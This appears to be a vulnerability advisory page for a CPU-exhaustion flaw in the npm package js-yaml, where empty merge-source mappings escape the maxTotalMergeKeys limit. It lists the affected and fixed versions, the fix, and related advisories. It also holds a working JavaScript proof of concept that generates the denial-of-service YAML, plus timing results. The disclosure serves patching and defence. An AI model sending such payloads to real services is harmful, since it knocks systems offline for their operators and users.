GHSA-r3ph-w7gj-g6xm: js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Summary maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. Example For every target, the loader iterates all N elements of arr. This results in O(N K) work while totalMergeKeys remains unchanged.
Published Sep 29, 2026
Affected packages
js-yaml
- Ecosystem
- npm
- Affected
- >= 5.0.0, <= 5.4.0
- Fixed in
- 5.4.1
- Check
npm ls js-yaml
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K timesFor every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)Observed results:
| N | YAML size | Time | | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count every merge source mapping as one budget unit in addition to counting its keys.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-84375
js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
high7.5Sep 8, 2026GHSA-5p4m-2wfm-xmqj
JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported
high7.5Aug 6, 2026CVE-2026-73643
js-yaml: Exponential parsing time in flow collections leads to denial of service
high7.5Jul 24, 2026CVE-2026-59868
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
medium5.3Jul 20, 2026CVE-2026-59869
js-yaml: YAML merge-key chains can force quadratic CPU consumption
high7.5Jul 20, 2026CVE-2026-59870
js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA
medium5.3Jul 20, 2026
